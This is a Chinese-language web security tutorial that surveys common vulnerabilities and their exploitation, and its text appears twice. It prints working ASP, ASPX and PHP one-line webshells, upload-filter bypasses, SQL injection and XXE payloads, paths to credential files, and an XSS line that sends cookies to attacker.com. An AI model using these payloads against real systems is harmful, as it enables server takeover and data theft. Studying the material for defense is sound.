Web攻防原理剖析
字数 2497 2025-08-10 19:49:14

Web攻防原理剖析教学文档

1. 文件上传漏洞

1.1 漏洞简介

文件上传漏洞是指Web应用程序允许用户上传文件但未对上传文件进行充分验证,导致攻击者可上传恶意文件(如WebShell)到服务器,从而获取网站控制权限。

1.2 漏洞利用方式

  • WebShell类型
    • ASP:<%eval request("x")%>
    • ASPX:<%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>
    • PHP:<?php eval($_POST['x'])?>
    • JSP:包含执行系统命令的脚本

1.3 绕过技术

  1. JS前端绕过

    • 修改文件后缀(如php改为jpg)
    • 使用Burp Suite拦截并修改上传请求
  2. 文件头绕过

    • 添加合法文件头(如GIF89a)
    • 制作图片木马:copy demo.jpg/b + shell.php shell.jpg
  3. 黑名单缺陷

    • 使用特殊后缀(phtml、php3、php4等)
    • Apache默认解析多种PHP后缀
  4. 00截断

    • 在文件名后添加%00截断后续字符
    • 适用于PHP低版本
  5. .htaccess绕过

    • 上传.htaccess文件设置解析规则
    • 内容示例:AddType application/x-httpd-php .jpg

2. 文件下载漏洞

2.1 漏洞简介

当网站提供文件查看或下载功能且未对访问文件做限制时,攻击者可下载任意文件,包括源代码、配置文件等敏感信息。

2.2 漏洞利用

  • 常见敏感文件

    • Windows:C:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts
    • Linux:/etc/passwd, /etc/shadow, /root/.ssh/id_rsa
  • 利用方法

    • 通过file、path等参数构造请求
    • 下载数据库配置文件获取数据库凭证

3. 文件包含漏洞

3.1 漏洞类型

  1. 本地文件包含(LFI):包含服务器本地文件
  2. 远程文件包含(RFI):包含远程URL文件(需allow_url_include开启)

3.2 利用技术

  1. 截断技术

    • 00截断:?file=payload.txt%00
    • 路径长度截断:超长路径使系统丢弃后缀
  2. 伪协议利用

    • php://filter:读取文件源码
    • php://input:执行POST数据中的代码
    • data://:直接执行代码
  3. 实战利用

    • 包含图片木马执行代码
    • 包含日志文件写入恶意代码

4. SQL注入漏洞

4.1 注入类型

  1. 联合查询注入

    • 使用UNION SELECT拼接查询
    • 确定列数:order by x
  2. 报错注入

    • 利用MySQL Bug#8652:concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))
    • 使用updatexmlextractvalue函数
  3. 布尔盲注

    • 通过页面返回差异判断条件真假
    • 常用函数:left()mid()substr()ascii()
  4. 时间盲注

    • 使用sleep()benchmark()制造延迟
    • 通过响应时间判断条件

4.2 注入工具

  • sqlmap:自动化检测与利用
  • 超级SQL注入工具:操作更简单

5. 命令执行漏洞

5.1 常见函数

  • system()exec()shell_exec()passthru()

5.2 利用方式

  • 命令拼接:;&&|
  • 无回显利用:通过DNS外带数据

6. XSS跨站脚本攻击

6.1 类型分类

  1. 反射型XSS:非持久化,需用户点击恶意链接
  2. 存储型XSS:恶意代码存储在服务器
  3. DOM型XSS:通过修改DOM节点触发

6.2 利用场景

  • 盗取Cookie:document.location='http://attacker.com/steal.php?cookie='+document.cookie
  • 钓鱼攻击
  • 键盘记录

7. CSRF跨站请求伪造

7.1 攻击原理

利用用户已登录状态,诱使用户访问恶意页面发起伪造请求

7.2 攻击类型

  1. GET型CSRF:通过img标签等发起请求
  2. POST型CSRF:构造自动提交表单

8. XXE XML实体注入

8.1 利用方式

  • 读取本地文件:<!ENTITY xxe SYSTEM "file:///etc/passwd">
  • 内网探测
  • 拒绝服务攻击

9. SSRF服务端请求伪造

9.1 利用协议

  • file://:读取本地文件
  • http://:探测内网服务
  • dict://:探测端口
  • gopher://:发送多行协议数据

9.2 危害

  • 内网服务探测
  • 攻击Redis等服务
  • 读取敏感信息

10. 业务逻辑漏洞

10.1 验证码安全

  1. 验证码绕过
    • 验证码不失效
    • 验证码直接返回
    • 首次登录绕过
    • 验证码过于简单

10.2 支付漏洞

  1. 金额篡改
    • 直接修改金额参数
    • 修改商品数量为负数
    • 修改运费金额

10.3 账户越权

  1. 未授权访问:直接访问需授权接口
  2. 水平越权:访问同权限用户数据
  3. 垂直越权:低权限访问高权限功能

10.4 密码重置

  1. 验证码问题
    • 验证码不失效
    • 验证码直接返回
  2. 跳过验证步骤:直接访问重置页面
  3. 手机号未绑定:修改接收验证码手机号
  4. ID替换:修改用户ID参数重置他人密码

防御建议

  1. 对所有用户输入进行严格过滤和验证
  2. 使用白名单机制替代黑名单
  3. 最小权限原则
  4. 敏感操作增加二次验证
  5. 关键业务逻辑增加多因素校验
  6. 及时更新和修补系统漏洞

工具推荐

  • Burp Suite:抓包和修改请求
  • sqlmap:SQL注入自动化工具
  • 蚁剑/中国菜刀:WebShell管理
  • hashcat:密码破解
  • Nmap:端口扫描和服务探测

本教学文档涵盖了Web安全中常见漏洞的原理、利用方法和防御措施,可作为安全学习和渗透测试的参考指南。

Web攻防原理剖析教学文档 1. 文件上传漏洞 1.1 漏洞简介 文件上传漏洞是指Web应用程序允许用户上传文件但未对上传文件进行充分验证,导致攻击者可上传恶意文件(如WebShell)到服务器,从而获取网站控制权限。 1.2 漏洞利用方式 WebShell类型 : ASP: <%eval request("x")%> ASPX: <%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%> PHP: <?php eval($_POST['x'])?> JSP:包含执行系统命令的脚本 1.3 绕过技术 JS前端绕过 : 修改文件后缀(如php改为jpg) 使用Burp Suite拦截并修改上传请求 文件头绕过 : 添加合法文件头(如GIF89a) 制作图片木马: copy demo.jpg/b + shell.php shell.jpg 黑名单缺陷 : 使用特殊后缀(phtml、php3、php4等) Apache默认解析多种PHP后缀 00截断 : 在文件名后添加%00截断后续字符 适用于PHP低版本 .htaccess绕过 : 上传.htaccess文件设置解析规则 内容示例: AddType application/x-httpd-php .jpg 2. 文件下载漏洞 2.1 漏洞简介 当网站提供文件查看或下载功能且未对访问文件做限制时,攻击者可下载任意文件,包括源代码、配置文件等敏感信息。 2.2 漏洞利用 常见敏感文件 : Windows: C:\Windows\win.ini , C:\Windows\System32\drivers\etc\hosts Linux: /etc/passwd , /etc/shadow , /root/.ssh/id_rsa 利用方法 : 通过file、path等参数构造请求 下载数据库配置文件获取数据库凭证 3. 文件包含漏洞 3.1 漏洞类型 本地文件包含(LFI) :包含服务器本地文件 远程文件包含(RFI) :包含远程URL文件(需 allow_url_include 开启) 3.2 利用技术 截断技术 : 00截断: ?file=payload.txt%00 路径长度截断:超长路径使系统丢弃后缀 伪协议利用 : php://filter :读取文件源码 php://input :执行POST数据中的代码 data:// :直接执行代码 实战利用 : 包含图片木马执行代码 包含日志文件写入恶意代码 4. SQL注入漏洞 4.1 注入类型 联合查询注入 : 使用 UNION SELECT 拼接查询 确定列数: order by x 报错注入 : 利用MySQL Bug#8652: concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) 使用 updatexml 、 extractvalue 函数 布尔盲注 : 通过页面返回差异判断条件真假 常用函数: left() 、 mid() 、 substr() 、 ascii() 时间盲注 : 使用 sleep() 或 benchmark() 制造延迟 通过响应时间判断条件 4.2 注入工具 sqlmap:自动化检测与利用 超级SQL注入工具:操作更简单 5. 命令执行漏洞 5.1 常见函数 system() 、 exec() 、 shell_exec() 、 passthru() 5.2 利用方式 命令拼接: ; 、 && 、 | 无回显利用:通过DNS外带数据 6. XSS跨站脚本攻击 6.1 类型分类 反射型XSS :非持久化,需用户点击恶意链接 存储型XSS :恶意代码存储在服务器 DOM型XSS :通过修改DOM节点触发 6.2 利用场景 盗取Cookie: document.location='http://attacker.com/steal.php?cookie='+document.cookie 钓鱼攻击 键盘记录 7. CSRF跨站请求伪造 7.1 攻击原理 利用用户已登录状态,诱使用户访问恶意页面发起伪造请求 7.2 攻击类型 GET型CSRF :通过img标签等发起请求 POST型CSRF :构造自动提交表单 8. XXE XML实体注入 8.1 利用方式 读取本地文件: <!ENTITY xxe SYSTEM "file:///etc/passwd"> 内网探测 拒绝服务攻击 9. SSRF服务端请求伪造 9.1 利用协议 file:// :读取本地文件 http:// :探测内网服务 dict:// :探测端口 gopher:// :发送多行协议数据 9.2 危害 内网服务探测 攻击Redis等服务 读取敏感信息 10. 业务逻辑漏洞 10.1 验证码安全 验证码绕过 : 验证码不失效 验证码直接返回 首次登录绕过 验证码过于简单 10.2 支付漏洞 金额篡改 : 直接修改金额参数 修改商品数量为负数 修改运费金额 10.3 账户越权 未授权访问 :直接访问需授权接口 水平越权 :访问同权限用户数据 垂直越权 :低权限访问高权限功能 10.4 密码重置 验证码问题 : 验证码不失效 验证码直接返回 跳过验证步骤 :直接访问重置页面 手机号未绑定 :修改接收验证码手机号 ID替换 :修改用户ID参数重置他人密码 防御建议 对所有用户输入进行严格过滤和验证 使用白名单机制替代黑名单 最小权限原则 敏感操作增加二次验证 关键业务逻辑增加多因素校验 及时更新和修补系统漏洞 工具推荐 Burp Suite:抓包和修改请求 sqlmap:SQL注入自动化工具 蚁剑/中国菜刀:WebShell管理 hashcat:密码破解 Nmap:端口扫描和服务探测 本教学文档涵盖了Web安全中常见漏洞的原理、利用方法和防御措施,可作为安全学习和渗透测试的参考指南。